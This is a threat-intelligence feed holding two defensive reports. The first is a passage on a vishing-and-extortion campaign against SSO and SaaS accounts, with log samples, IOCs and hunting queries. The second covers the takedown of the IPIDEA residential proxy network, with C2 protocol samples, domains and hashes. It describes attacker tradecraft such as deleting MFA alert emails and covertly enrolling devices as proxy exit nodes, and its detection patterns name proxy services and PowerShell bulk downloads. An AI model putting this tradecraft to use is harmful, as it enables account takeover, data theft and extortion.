    After gaining initial access, UNC6661 moved laterally through victim customer environments to exfiltrate data from various SaaS platforms (log examples in Figures 2 through 5). While the targeting of specific organizations and user identities is deliberate, analysis suggests that the subsequent access to these platforms is likely opportunistic, determined by the specific permissions and applications accessible via the individual compromised SSO session. These compromises did not result from security vulnerabilities in the vendors' products or infrastructure.

    In some cases, they have appeared to target specific types of information. For example, the threat actors have conducted searches in cloud applications for documents containing specific text including "poc," "confidential," "internal," "proposal," "salesforce," and "vpn" or targeted personally identifiable information (PII) stored in Salesforce. Additionally, UNC6661 may have targeted Slack data at some victims' environments, based on a claim made in a ShinyHunters-branded data leak site (DLS) entry.

    {
      "AppAccessContext": {
        "AADSessionId": "[REDACTED_GUID]",
        "AuthTime": "1601-01-01T00:00:00",
        "ClientAppId": "[REDACTED_APP_ID]",
        "ClientAppName": "Microsoft Office",
        "CorrelationId": "[REDACTED_GUID]",
        "TokenIssuedAtTime": "1601-01-01T00:02:56",
        "UniqueTokenId": "[REDACTED_ID]"
      },
      "CreationTime": "2026-01-10T13:17:11",
      "Id": "[REDACTED_GUID]",
      "Operation": "FileDownloaded",
      "OrganizationId": "[REDACTED_GUID]",
      "RecordType": 6,
      "UserKey": "[REDACTED_USER_KEY]",
      "UserType": 0,
      "Version": 1,
      "Workload": "SharePoint",
      "ClientIP": "[REDACTED_IP]",
      "UserId": "[REDACTED_EMAIL]",
      "ApplicationId": "[REDACTED_APP_ID]",
      "AuthenticationType": "OAuth",
      "BrowserName": "Mozilla",
      "BrowserVersion": "5.0",
      "CorrelationId": "[REDACTED_GUID]",
      "EventSource": "SharePoint",
      "GeoLocation": "NAM",
      "IsManagedDevice": false,
      "ItemType": "File",
      "ListId": "[REDACTED_GUID]",
      "ListItemUniqueId": "[REDACTED_GUID]",
      "Platform": "WinDesktop",
      "Site": "[REDACTED_GUID]",
      "UserAgent": "Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.20348.4294",
      "WebId": "[REDACTED_GUID]",
      "DeviceDisplayName": "[REDACTED_IPV6]",
      "EventSignature": "[REDACTED_SIGNATURE]",
      "FileSizeBytes": 31912,
      "HighPriorityMediaProcessing": false,
      "ListBaseType": 1,
      "ListServerTemplate": 101,
      "SensitivityLabelId": "[REDACTED_GUID]",
      "SiteSensitivityLabelId": "",
      "SensitivityLabelOwnerEmail": "[REDACTED_EMAIL]",
      "SourceRelativeUrl": "[REDACTED_RELATIVE_URL]",
      "SourceFileName": "[REDACTED_FILENAME]",
      "SourceFileExtension": "xlsx",
      "ApplicationDisplayName": "Microsoft Office",
      "SiteUrl": "[REDACTED_URL]",
      "ObjectId": "[REDACTED_URL]/[REDACTED_FILENAME]"
    }

    Figure 2: SharePoint/M365 log example

    "Login","20260120163111.430","SLB:[REDACTED]","[REDACTED]","[REDACTED]","192","25","/index.jsp","","1jVcuDh1VIduqg10","Standard","","167158288","5","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/IP_ADDRESS_REMOVED Safari/537.36","","9998.0","user@[REDACTED_DOMAIN].com","TLSv1.3","TLS_AES_256_GCM_SHA384","","https://[REDACTED_IDP_DOMAIN]/","[REDACTED].my.salesforce.com","CA","","","0LE1Q000000LBVK","2026-01-20T16:31:11.430Z","[REDACTED]","76.64.54[.]159","","LOGIN_NO_ERROR","76.64.54[.]159",""

    Figure 3: Salesforce log example

    {
      "Timestamp": "2026-01-21T12:5:2-03:00",
      "Timestamp UTC": "[REDACTED]",
      "Event Name": "User downloads documents from an envelope",
      "Event Id": "[REDACTED_EVENT_ID]",
      "User": "[REDACTED]@example.com",
      "User Id": "[REDACTED_USER_ID]",
      "Account": "[REDACTED_ORG_NAME]",
      "Account Id": "[REDACTED_ACCOUNT_ID]",
      "Integrator Key": "[REDACTED_KEY]",
      "IP Address": "73.135.228[.]98",
      "Latitude": "[REDACTED]",
      "Longitude": "[REDACTED]",
      "Country/Region": "United States",
      "State": "Maryland",
      "City": "[REDACTED]",
      "Browser": "Chrome 143",
      "Device": "Apple Mac",
      "Operating System": "Mac OS X 10",
      "Source": "Web",
      "DownloadType": "Archived",
      "EnvelopeId": "[REDACTED_ENVELOPE_ID]"
    }

    Figure 4: Docusign log example

    In at least one incident where the threat actor gained access to an Okta customer account, UNC6661 enabled the ToogleBox Recall add-on for the victim's Google Workspace account, a tool designed to search for and permanently delete emails. They then deleted a "Security method enrolled" email from Okta, almost certainly to prevent the employee from identifying that their account was associated with a new MFA device.

    {
      "Date": "2026-01-11T06:3:00Z",
      "App ID": "[REDACTED_ID].apps.googleusercontent.com",
      "App name": "ToogleBox Recall",
      "OAuth event": "Authorize",
      "Description": "User authorized access to ToogleBox Recall for specific Gmail and Apps Script scopes.",
      "User": "user@[REDACTED_DOMAIN].com",
      "Scope": "https://www.googleapis.com/auth/gmail.addons.current.message.readonly, https://www.googleapis.com/auth/gmail.addons.execute, https://www.googleapis.com/auth/script.external_request, https://www.googleapis.com/auth/script.locale, https://www.googleapis.com/auth/userinfo.email",
      "API name": "",
      "Method": "",
      "Number of response bytes": "0",
      "IP address": "149.50.97.144",
      "Product": "Gmail, Apps Script Runtime, Apps Script Api, Identity, Unspecified",
      "Client type": "Web",
      "Network info": "{\n  \"Network info\": {\n    \"IP ASN\": \"201814\",\n    \"Subdivision code\": \"\",\n    \"Region code\": \"PL\"\n  }\n}"
    }

    Figure 5: ToogleBox Recall auth log entry example

    In at least one case, after conducting the initial data theft, UNC6661 used their newly obtained access to compromised email accounts to send additional phishing emails to contacts at cryptocurrency-focused companies. The threat actor then deleted the outbound emails, likely in an attempt to obfuscate their malicious activity.

    GTIG attributes the subsequent extortion activity following UNC6661 intrusions to UNC6240, based on several overlaps, including the use of a common Tox account for negotiations, ShinyHunters-branded extortion emails, and Limewire to host samples of stolen data. In mid-January 2026 extortion emails, UNC6240 outlined what data they allegedly stole, specifying a payment amount and destination BTC address, and threatening consequences if the ransom was not paid within 72 hours, which is consistent with prior extortion emails (Figure 6). They also provided proof of data theft via samples hosted on Limewire. GTIG also observed extortion text messages sent to employees and received reports of victim websites being targeted with distributed denial-of-service (DDoS) attacks.

    Notably, in late January 2026 a new ShinyHunters-branded DLS named "SHINYHUNTERS" emerged listing several alleged victims who may have been compromised in these most recent extortion operations. The DLS also lists contact information (shinycorp@tutanota[.]com, shinygroup@onionmail[.]com) that have previously been associated with UNC6240.

    Ransom note extract

    Figure 6: Ransom note extract

    Similar Activity Conducted by UNC6671

    Also beginning in early January 2026, UNC6671 conducted vishing operations masquerading as IT staff and directing victims to enter their credentials and MFA authentication codes on a victim-branded credential harvesting site. The credential harvesting domains used the same structure as UNC6661, but were more often registered using Tucows. In at least some cases, the threat actors have gained access to Okta customer accounts. Mandiant has also observed evidence that UNC6671 leveraged PowerShell to download sensitive data from SharePoint and OneDrive. While many of these TTPs are consistent with UNC6661, an extortion email stemming from UNC6671 activity was unbranded and used a different Tox ID for further contact. The threat actors employed aggressive extortion tactics following UNC6671 intrusions, including harassment of victim personnel. The extortion tactics and difference in domain registrars suggests that separate individuals may be involved with these sets of activity.

    Remediation and Hardening

    Mandiant has published a comprehensive guide with proactive hardening and detection recommendations.

    Outlook and Implications

    This recent activity is similar to prior operations associated with UNC6240, which have frequently used vishing for initial access and have targeted Salesforce data. It does, however, represent an expansion in the number and type of targeted cloud platforms, suggesting that the associated threat actors are modifying their operations to gather more sensitive data for extortion operations. Further, the use of a compromised account to send phishing emails to cryptocurrency-related entities suggests that associated threat actors may be building relationships with potential victims to expand their access or engage in other follow-on operations. Notably, this portion of the activity appears operationally distinct, given that it appears to target individuals instead of organizations.

    Indicators of Compromise (IOCs)

    To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a free GTI Collection for registered users.

    Phishing Domain Lure Patterns 

    Threat actors associated with these clusters frequently register domains designed to impersonate legitimate corporate portals. At time of publication all identified phishing domains have been added to Chrome Safe Browsing. These domains typically follow specific naming conventions using a variation of the organization name:

    Pattern

    Examples (Defanged)

    Corporate SSO

    <companyname>sso[.]com, my<companyname>sso[.]com, my-<companyname>sso[.]com

    Internal Portals

    <companyname>internal[.]com, www.<companyname>internal[.]com, my<companyname>internal[.]com

    Support/Helpdesk

    <companyname>support[.]com, ticket-<companyname>[.]support, support-<companyname>[.]com

    Identity Providers

    <companyname>okta[.]com, <companyname>azure[.]com, on<companyname>zendesk[.]com

    Access Portal

    <companyname>access[.]com, www.<companyname>access[.]com, my<companyname>acess[.]com

    Network Indicators

    Many of the network indicators identified in this campaign are associated with commercial VPN services or residential proxy networks, including Mullvad, Oxylabs, NetNut, 9Proxy, Infatica, and nsocks. Mandiant recommends that organizations exercise caution when using these indicators for broad blocking and prioritize them for hunting and correlation within their environments.

    IOC

    ASN

    Association

    24.242.93[.]122

    11427

    UNC6661

    23.234.100[.]107

    11878

    UNC6661

    23.234.100[.]235

    11878

    UNC6661

    73.135.228[.]98

    33657

    UNC6661

    157.131.172[.]74

    46375

    UNC6661

    149.50.97[.]144

    201814

    UNC6661

    67.21.178[.]234

    400595

    UNC6661

    142.127.171[.]133

    577

    UNC6671

    76.64.54[.]159

    577

    UNC6671

    76.70.74[.]63

    577

    UNC6671

    206.170.208[.]23

    7018

    UNC6671

    68.73.213[.]196

    7018

    UNC6671

    37.15.73[.]132

    12479

    UNC6671

    104.32.172[.]247

    20001

    UNC6671

    85.238.66[.]242

    20845

    UNC6671

    199.127.61[.]200

    23470

    UNC6671

    209.222.98[.]200

    23470

    UNC6671

    38.190.138[.]239

    27924

    UNC6671

    198.52.166[.]197

    395965

    UNC6671

    Google Security Operations

    Google Security Operations customers have access to these broad category rules and more under the Okta, Cloud Hacktool, and O365 rule packs. A walkthrough for operationalizing these findings within the Google Security Operations is available in Part Three of this series. The activity discussed in the blog post is detected in Google Security Operations under the rule names:

    • Okta Admin Console Access Failure

    • Okta Super or Organization Admin Access Granted

    • Okta Suspicious Actions from Anonymized IP

    • Okta User Assigned Administrator Role

    • O365 SharePoint Bulk File Access or Download via PowerShell

    • O365 SharePoint High Volume File Access Events

    • O365 SharePoint High Volume File Download Events

    • O365 Sharepoint Query for Proprietary or Privileged Information

    • O365 Deletion of MFA Modification Notification Email

    • Workspace ToogleBox Recall OAuth Application Authorized

     $e.metadata.product_name = "Okta"
        $e.metadata.product_event_type = /\.(add|update_|(policy.rule|zone)\.update|create|register|(de)?activate|grant|reset_all|user.session.access_admin_app)$/
        (
             $e.security_result.detection_fields["anonymized IP"] = "true" or
             $e.extracted.fields["debugContext.debugData.tunnels"] = /\"anonymous\":true/
        )
        $e.security_result.action = “ALLOW”

    Figure 7: Hunting query for suspicious Okta actions conducted from anonymized IPs

    $e.metadata.vendor_name = "Google Workspace"
       $e.metadata.event_type = "USER_RESOURCE_ACCESS"
       $e.metadata.product_event_type = "authorize"
       $e.target.resource.name = /ToogleBox Recall/ nocase

    Figure 8: Hunting query for Google Workspace authorization events for ToogleBox Recall

    $e.principal.ip_geo_artifact.network.organization_name = /mullvad.vpn|oxylabs|9proxy|netnut|infatica|nsocks/ nocase or
       $e.extracted.fields["debugContext.debugData.tunnels"] = /mullvad.vpn|oxylabs|9proxy|netnut|infatica|nsocks/ nocase

    Figure 9: Hunting query for suspicious VPN / proxy services observed in this campaign

    $e.network.http.user_agent = /Geny\s?Mobile/ nocase
       $event.security_result.action != "BLOCK"

    Figure 10: Hunting query for suspicious user-agent string observed in this campaign

       $e.metadata.log_type = "OFFICE_365"   
      ($e.metadata.product_event_type = "FileDownloaded" or $e.metadata.product_event_type = "FileAccessed")
       (
         $e.target.application = "SharePoint" or
         $e.principal.application = "SharePoint"
       )
       $e.network.http.user_agent = /PowerShell/ nocase

    Figure 11: Hunting query for programmatic file access or downloads from SharePoint where the User-Agent identifies as PowerShell

    events:
       $e.metadata.log_type = "OFFICE_365"   
       $e.metadata.product_event_type = "FileAccessed"
       (
         $e.target.application = "SharePoint" or
         $e.principal.application = "SharePoint"
       )
       $e.target.file.full_path = /\.(doc[mx]?|xls[bmx]?|ppt[amx]?|pdf)$/ nocase
       $file_extension_extract = re.capture($e.target.file.full_path, `\.([^\.]+)$`)
       $event.security_result.action != "BLOCK"
       $session_id = $e.network.session_id
    
     match:
        $session_id over 5m
    
    outcome:
       $target_url_count = count_distinct(strings.coalesce($e.target.file.full_path))
       $extension_count = count_distinct($file_extension_extract)
    
    condition:
       $e and $target_url_count >= 50 and $extension_count >= 3

    Figure 12: Hunting query for high volume document file access from SharePoint

    events:
       $e.metadata.log_type = "OFFICE_365"   
       $e.metadata.product_event_type = "FileDownloaded"
       (
         $e.target.application = "SharePoint" or
         $e.principal.application = "SharePoint"
       )
       $e.target.file.full_path = /\.(doc[mx]?|xls[bmx]?|ppt[amx]?|pdf)$/ nocase
       $file_extension_extract = re.capture($e.target.file.full_path, `\.([^\.]+)$`)
       $event.security_result.action != "BLOCK"
       $session_id = $e.network.session_id
    
     match:
        $session_id over 5m
    
    outcome:
       $target_url_count = count_distinct(strings.coalesce($e.target.file.full_path))
       $extension_count = count_distinct($file_extension_extract)
    
    condition:
       $e and $target_url_count >= 50 and $extension_count >= 3

    Figure 13: Hunting query for high volume document file downloads from SharePoint

    $e.metadata.log_type = "OFFICE_365"   
       $e.metadata.product_event_type = "SearchQueryPerformed"
       $e.additional.fields["search_query_text"] = /\bpoc\b|proposal|confidential|internal|salesforce|vpn/ nocase

    Figure 14: Hunting query for SharePoint queries for strings of interest

    $e.metadata.log_type = "OFFICE_365"   
       $e.target.application = "Exchange"
       $e.metadata.product_event_type = /^(SoftDelete|HardDelete|MoveToDeletedItems)$/ nocase
       $e.network.email.subject = /new\s+(mfa|multi-|factor|method|device|security)|\b2fa\b|\b2-Step\b|(factor|method|device|security|mfa)\s+(enroll|registered|added|change|verify|updated|activated|configured|setup)/ nocase
    
       // filtering specifically for new device registration strings
       $e.network.email.subject = /enroll|registered|added|change|verify|updated|activated|configured|setup/ nocase
        
       // tuning out new device logon events
       $e.network.email.subject != /(sign|log)(-|\s)?(in|on)/ nocase

    Figure 15: Hunting query for O365 Exchange deletion of MFA modification notification email

    Received — 29 January 2026 Threat Intelligence

    No Place Like Home Network: Disrupting the World's Largest Residential Proxy Network

    28 January 2026 at 15:00

    Introduction 

    This week Google and partners took action to disrupt what we believe is one of the largest residential proxy networks in the world, the IPIDEA proxy network. IPIDEA’s proxy infrastructure is a little-known component of the digital ecosystem leveraged by a wide array of bad actors.

    This disruption, led by Google Threat Intelligence Group (GTIG) in partnership with other teams, included three main actions:

    1. Took legal action to take down domains used to control devices and proxy traffic through them.

    2. Shared technical intelligence on discovered IPIDEA software development kits (SDKs) and proxy software with platform providers, law enforcement, and research firms to help drive ecosystem-wide awareness and enforcement. These SDKs, which are offered to developers across multiple mobile and desktop platforms, surreptitiously enroll user devices into the IPIDEA network. Driving collective enforcement against these SDKs helps protect users across the digital ecosystem and restricts the network's ability to expand.

    3. These efforts to help keep the broader digital ecosystem safe supplement the protections we have to safeguard Android users on certified devices. We ensured Google Play Protect, Android’s built-in security protection, automatically warns users and removes applications known to incorporate IPIDEA SDKs, and blocks any future install attempts.

    We believe our actions have caused significant degradation of IPIDEA’s proxy network and business operations, reducing the available pool of devices for the proxy operators by millions. Because proxy operators share pools of devices using reseller agreements, we believe these actions may have downstream impact across affiliated entities.

    Dizzying Array of Bad Behavior Enabled by Residential Proxies

    In contrast to other types of proxies, residential proxy networks sell the ability to route traffic through IP addresses owned by internet service providers (ISPs) and used to provide service to residential or small business customers. By routing traffic through an array of consumer devices all over the world, attackers can mask their malicious activity by hijacking these IP addresses. This generates significant challenges for network defenders to detect and block malicious activities.

    A robust residential proxy network requires the control of millions of residential IP addresses to sell to customers for use. IP addresses in countries such as the US, Canada, and Europe are considered especially desirable. To do this, residential proxy network operators need code running on consumer devices to enroll them into the network as exit nodes. These devices are either pre-loaded with proxy software or are joined to the proxy network when users unknowingly download trojanized applications with embedded proxy code. Some users may knowingly install this software on their devices, lured by the promise of “monetizing” their spare bandwidth. When the device is joined to the proxy network, the proxy provider sells access to the infected device’s network bandwidth (and use of its IP address) to their customers. 

    While operators of residential proxies often extol the privacy and freedom of expression benefits of residential proxies, Google Threat Intelligence Group’s (GTIG) research shows that these proxies are overwhelmingly misused by bad actors. IPIDEA has become notorious for its role in facilitating several botnets: its software development kits played a key role in adding devices to the botnets, and its proxy software was then used by bad actors to control them. This includes the BadBox2.0 botnet we took legal action against last year, and the Aisuru and Kimwolf botnets more recently. We also observe IPIDEA being leveraged by a vast array of espionage, crime, and information operations threat actors. In a single seven day period in January 2026, GTIG observed over 550 individual threat groups that we track utilizing IP addresses tracked as IPIDEA exit nodes to obfuscate their activities, including groups from China, DPRK, Iran and Russia. The activities included access to victim SaaS environments, on-premises infrastructure, and password spray attacks. Our research has found significant overlaps between residential proxy network exit nodes, likely because of reseller and partnership agreements, making definitive quantification and attribution challenging. 

    In addition, residential proxies pose a risk to the consumers whose devices are joined to the proxy network as exit nodes. These users knowingly or unknowingly provide their IP address and device as a launchpad for hacking and other unauthorized activities, potentially causing them to be flagged as suspicious or blocked by providers. Proxy applications also introduce security vulnerabilities to consumers’ devices and home networks. When a user’s device becomes an exit node, network traffic that they do not control will pass through their device. This means bad actors can access a user’s private devices on the same network, effectively exposing security vulnerabilities to the internet. GTIG’s analysis of these applications confirmed that IPIDEA proxy did not solely route traffic through the exit node device, they also sent traffic to the device, in order to compromise it. While proxy providers may claim ignorance or close these security gaps when notified, enforcement and verification is challenging given intentionally murky ownership structures, reseller agreements, and diversity of applications.

    The IPIDEA Proxy Network

    Our analysis of residential proxy networks found that many well-known residential proxy brands are not only related but are controlled by the actors behind IPIDEA. This includes the following ostensibly independent proxy and VPN brands: 

    • 360 Proxy (360proxy\.com)

    • 922 Proxy (922proxy\.com)

    • ABC Proxy (abcproxy\.com)

    • Cherry Proxy (cherryproxy\.com)

    • Door VPN (doorvpn\.com)

    • Galleon VPN (galleonvpn\.com)

    • IP 2 World (ip2world\.com)

    • Ipidea (ipidea\.io)

    • Luna Proxy (lunaproxy\.com)

    • PIA S5 Proxy (piaproxy\.com)

    • PY Proxy (pyproxy\.com)

    • Radish VPN (radishvpn\.com)

    • Tab Proxy (tabproxy\.com)

    The same actors that control these brands also control several domains related to Software Development Kits (SDKs) for residential proxies. These SDKs are not meant to be installed or executed as standalone applications, rather they are meant to be embedded into existing applications. The operators market these kits as ways for developers to monetize their applications, and offer Android, Windows, iOS, and WebOS compatibility. Once developers incorporate these SDKs into their app, they are then paid by IPIDEA usually on a per-download basis.

    Advertising from PacketSDK, part of the IPIDEA proxy network

    Figure 1: Advertising from PacketSDK, part of the IPIDEA proxy network

    Once the SDK is embedded into an application, it will turn the device it is running on into an exit node for the proxy network in addition to providing whatever the primary functionality of the application was. These SDKs are the key to any residential proxy network—the software they get embedded into provides the network operators with the millions of devices they need to maintain a healthy residential proxy network. 

    While many residential proxy providers state that they source their IP addresses ethically, our analysis shows these claims are often incorrect or overstated. Many of the malicious applications we analyzed in our investigation did not disclose that they enrolled devices into the IPIDEA proxy network. Researchers have previously found uncertified and off-brand Android Open Source Project devices, such as television set top boxes, with hidden residential proxy payloads

    The following SDKs are controlled by the same actors that control the IPIDEA proxy network:

    • Castar SDK (castarsdk\.com)

    • Earn SDK (earnsdk\.io)

    • Hex SDK (hexsdk\.com)

    • Packet SDK (packetsdk\.com)

    Command-and-Control Infrastructure

    We performed static and dynamic analysis on software that had SDK code embedded in it as well as standalone SDK files to identify the command-and-control (C2) infrastructure used to manage proxy exit nodes and route traffic through them. From the analysis we observed that EarnSDK, PacketSDK, CastarSDK, and HexSDK have significant overlaps in their C2 infrastructure as well as code structure.

    Overview

    The infrastructure model is a two-tier system: 

    1. Tier One: Upon startup, the device will choose from a set of domains to connect to. The device sends some diagnostic information to the Tier One server and receives back a data payload that includes a set of Tier Two nodes to connect to.

    2. Tier Two: The application will communicate directly with an IP address to periodically poll for proxy tasks. When it receives a proxy task it will establish a new dedicated connection to the Tier Two IP address and begin proxying the payloads it receives.

    infrastructure model

    Figure 2: Two-tier C2 system

    Tier One C2 Traffic

    The device diagnostic information can be sent as HTTP GET query string parameters or in the HTTP POST body, depending on the domain and SDK. The payload sent includes a key parameter, which may be a customer identifier used to determine who gets paid for the device enrollment.

    os=android&v=1.0.8&sn=993AE4FE78B879239BDC14DFBC0963CD&tag=OnePlus8Pro%23*%2311%23*%2330%23*%23QKR1.191246.002%23*%23OnePlus&key=cskfg9TAn9Jent&n=tlaunch

    Figure 3: Sample device information send to Tier One server

    The response from the Tier One server includes some timing information as well as the IP addresses of the Tier Two servers that this device should periodically poll for tasking.

    {"code":200,"data":{"schedule":24,"thread":150,"heartbeat":20,"ip":[redacted],"info":"US","node":[{"net_type":"t","connect":"49.51.68.143:1000","proxy":"49.51.68.143:2000"},{"net_type":"t","connect":"45.78.214.188:800","proxy":"45.78.214.188:799"}]}

    Figure 4: Sample response received from the Tier One Server

    Tier Two C2 Traffic

    The Tier Two servers are sent as connect and proxy pairs. In all analyses the pairs have been IP addresses, not domains. In our analysis, the pairs are the same IP address but different ports. The connect port is used to periodically poll for new proxy tasking. This is performed by sending TCP packets with encoded JSON payloads.

    {"name": "0c855f87a7574b28df383eca5084fcdc", "o": "eDwSokuyOuMHcF10", "os": "windows"}

    Figure 5: Sample encoded JSON sent to Tier Two connect port

    When the Tier Two server has traffic to route to the device, it will respond back with the FQDN to proxy traffic to as well as a connection ID.

    www.google.com:443&c8eb024c053f82831f2738bd48afc256

    Figure 6: Sample proxy tasking from the Tier Two server

    The device will then establish a connection to the proxy port of the same Tier Two server and send the connection ID, indicating that it is ready to receive data payloads.

    8a9bd7e7a806b2cc606b7a1d8f495662|ok

    Figure 7: Sample data sent from device to the Tier Two proxy port

    The Tier Two server will then immediately send data payloads to be proxied. The device will extract the TCP data payload, establish a socket connection to the specified FQDN and send the payload, unmodified, to the destination. 

    Overlaps in Infrastructure

    The SDKs each have their own set of Tier One domains. This comes primarily from analysis of standalone SDK files. 

    PacketSDK

    • http://{random}.api-seed.packetsdk\.xyz

    • http://{random}.api-seed.packetsdk\.net

    • http://{random}.api-seed.packetsdk\.io

    CastarSDK 

    • dispatch1.hexsdk\.com

    • cfe47df26c8eaf0a7c136b50c703e173\.com

    • 8b21a945159f23b740c836eb50953818\.com

    • 31d58c226fc5a0aa976e13ca9ecebcc8\.com

    HexSDK

    Download requests to files from the Hex SDK website redirect to castarsdk\.com. The SDKs are exactly the same.

    EarnSDK

    The EarnSDK JAR package for Android has strong overlaps with the other SDK brands analyzed. Earlier published samples contained the Tier One C2 domains:

    • holadns\.com

    • martianinc\.co

    • okamiboss\.com

    Of note, these domains were observed as part of the BadBox2.0 botnet and were sinkholed in our earlier litigation. Pivoting off these domains and other signatures, we identified some additional domains used as Tier One C2 domains: 

    • v46wd6uramzkmeeo\.in
    • 6b86b273ff34fce1\.online

    • 0aa0cf0637d66c0d\.com

    • aa86a52a98162b7d\.com

    • 442fe7151fb1e9b5\.com

    • BdRV7WlBszfOTkqF\.uk

    Tier Two Nodes

    Our analysis of various malware samples and the SDKs found a single shared pool of Tier Two servers. As of this writing there were approximately 7,400 Tier Two servers. The number of Tier Two nodes changes on a daily basis, consistent with a demand-based scaling system. They are hosted in locations around the globe, including the US. This indicates that despite different brand names and Tier One domains, the different SDKs in fact manage devices and proxy traffic through the same infrastructure.

    Shared Sourcing of Exit Nodes

    Trojanized Software Distribution

    The IPIDEA actors also control domains that offer free Virtual Private Network services. While the applications do seem to provide VPN functionality, they also join the device to the IPIDEA proxy network as an exit node by incorporating Hex or Packet SDK. This is done without clear disclosures to the end user, nor is it the primary function of the application.

    • Galleon VPN (galleonvpn\.com)

    • Radish VPN (radishvpn\.com)

    • Aman VPN (defunct)

    Trojanized Windows Binaries

    We identified a total of 3,075 unique Windows PE file hashes where dynamic analysis recorded a DNS request to at least one Tier One domain. A number of these hashes were for the monetized proxy exit node software, PacketShare. Our analysis also uncovered applications masquerading as OneDriveSync and Windows Update. These trojanized Windows applications were not distributed directly by the IPIDEA actors.

    Android Application Analysis

    We identified over 600 applications across multiple download sources with code connecting to Tier One C2 domains. These apps were largely benign in function (e.g., utilities, games, and content) but utilized monetization SDKs that enabled IPIDEA proxy behavior.

    Our Actions

    This week we took a number of steps designed to comprehensively dismantle as much of IPIDEA’s infrastructure as possible.

    Protecting Devices

    We took legal action to take down the C2 domains used by bad actors to control devices and proxy traffic. This protects consumer devices and home networks by disrupting the infrastructure at the source. 

    To safeguard the Android ecosystem, we enforced our platform policies against trojanizing software, ensuring Google Play Protect on certified Android devices with Google Play services automatically warns users and removes applications known to incorporate IPIDEA software development kits (SDKs), and blocks any future install attempts.

    Limiting IPIDEA’s Distribution

    We took legal action to take down the domains used to market IPIDEA’s products, including proxy software and software development kits, across their various brands.

    Coordinating with Industry Partners

    We’ve shared our findings with industry partners to enable them to take action as well. We’ve worked closely with other firms, including Spur and Lumen’s Black Lotus Labs to understand the scope and extent of residential proxy networks and the bad behavior they often enable. We partnered with Cloudflare to disrupt IPIDEA’s domain resolution, impacting their ability to command and control infected devices and market their products. 

    Call to Action

    While we believe our actions have seriously impacted one of the largest residential proxy providers, this industry appears to be rapidly expanding, and there are significant overlaps across providers. As our investigation shows, the residential proxy market has become a "gray market" that thrives on deception—hijacking consumer bandwidth to provide cover for global espionage and cybercrime. More must be done to address the risks of these technologies. 

    Empowering and Protecting the Consumer

    Residential proxies are an understudied area of risk for consumers, and more can be done to raise awareness. Consumers should be extremely wary of applications that offer payment in exchange for "unused bandwidth" or "sharing your internet." These applications are primary ways for illicit proxy networks to grow, and could open security vulnerabilities on the device’s home network. We urge users to stick to official app stores, review permissions for third-party VPNs and proxies, and ensure built-in security protections like Google Play Protect are active.

    Consumers should be careful when purchasing connected devices, such as set top boxes, to make sure they are from reputable manufacturers. For example, to help you confirm whether or not a device is built with the official Android TV OS and Play Protect certified, our Android TV website provides the most up-to-date list of partners. You can also take these steps to check if your Android device is Play Protect certified.

    Proxy Accountability and Policy Reform

    Residential proxy providers have been able to flourish under the guise of legitimate businesses. While some providers may indeed behave ethically and only enroll devices with the clear consent of consumers, any claims of "ethical sourcing" must be backed by transparent, auditable proof of user consent. Similarly, app developers have a responsibility to vet the monetization SDKs they integrate.

    Industry Collaboration

    We encourage mobile platforms, ISPs, and other tech platforms to continue sharing intelligence and implementing best practices to identify illicit proxy networks and limit their harms.

    Indicators of Compromise (IOCs)

    To assist the wider community in hunting and identifying activity outlined in this blog post, we have included a comprehensive list of indicators of compromise (IOCs) in a GTI Collection for registered users.

    Network Indicators

    00857cca77b615c369f48ead5f8eb7f3.com

    0aa0cf0637d66c0d.com

    31d58c226fc5a0aa976e13ca9ecebcc8.com

    3k7m1n9p4q2r6s8t0v5w2x4y6z8u9.com

    442fe7151fb1e9b5.com

    6b86b273ff34fce1.online

    7x2k9n4p1q0r5s8t3v6w0y2z4u7b9.com

    8b21a945159f23b740c836eb50953818.com

    8f00b204e9800998.com

    a7b37115ce3cc2eb.com

    a8d3b9e1f5c7024d6e0b7a2c9f1d83e5.com

    aa86a52a98162b7d.com

    af4760df2c08896a9638e26e7dd20aae.com

    asdk2​.com

    b5e9a2d7f4c8e3b1a0d6f2e9c5b8a7d.com

    bdrv7wlbszfotkqf.uk

    cfe47df26c8eaf0a7c136b50c703e173.com

    hexsdk.com

    e4f8c1b9a2d7e3f6c0b5a8d9e2f1c4d.com

    packetsdk.io

    packetsdk.net

    packetsdk.xyz

    v46wd6uramzkmeeo.in

    willmam.com

    File Indicators

    Cert

    SIGNER_IDENTITY=/1.3.6.1.4.1.311.60.2.1.3=HK/businessCategory=Private Organization/serialNumber=69878507/C=HK/L=Hong Kong Island/O=HONGKONG LINGYUN MDT INFOTECH LIMITED/CN=HONGKONG LINGYUN MDT INFOTECH LIMITED

    SIGNER_IDENTITY=/businessCategory=Private Organization/1.3.6.1.4.1.311.60.2.1.3=HK/serialNumber=2746134/C=HK/L=Wan Chai/O=HONGKONG LINGYUN MDT INFOTECH LIMITED/CN=HONGKONG LINGYUN MDT INFOTECH LIMITED

    SIGNER_IDENTITY=/1.3.6.1.4.1.311.60.2.1.3=HK/businessCategory=Private Organization/serialNumber=74092936/C=HK/L=HONG KONG ISLAND/O=FIRENET LIMITED/CN=FIRENET LIMITED

    SIGNER_IDENTITY=/1.3.6.1.4.1.311.60.2.1.3=HK/businessCategory=Private Organization/serialNumber=3157599/C=HK/L=Wan Chai/O=FIRENET LIMITED/CN=FIRENET LIMITED

    SIGNER_IDENTITY=/1.3.6.1.4.1.311.60.2.1.3=HK/businessCategory=Private Organization/serialNumber=74097562/C=HK/L=Hong Kong Island/O=PRINCE LEGEND LIMITED/CN=PRINCE LEGEND LIMITED

    SIGNER_IDENTITY=/1.3.6.1.4.1.311.60.2.1.3=HK/businessCategory=Private Organization/serialNumber=73874246/C=HK/L=Kowloon/O=MARS BROTHERS LIMITED/CN=MARS BROTHERS LIMITED

    SIGNER_IDENTITY=/1.3.6.1.4.1.311.60.2.1.3=HK/businessCategory=Private Organization/serialNumber=3135905/C=HK/L=Cheung Sha Wan/O=MARS BROTHERS LIMITED/CN=MARS BROTHERS LIMITED

    SIGNER_IDENTITY=/1.3.6.1.4.1.311.60.2.1.3=HK/businessCategory=Private Organization/serialNumber=3222394/C=HK/L=WAN CHAI/O=DATALABS LIMITED/CN=DATALABS LIMITED

    Example Hashes

    File Type

    Description

    SHA-256

    DLL

    Packet SDK package found inside other applications

    aef34f14456358db91840c416e55acc7d10185ff2beb362ea24697d7cdad321f

    APK

    Application with Packet SDK Code

    b0726bdd53083968870d0b147b72dad422d6d04f27cd52a7891d038ee83aef5b

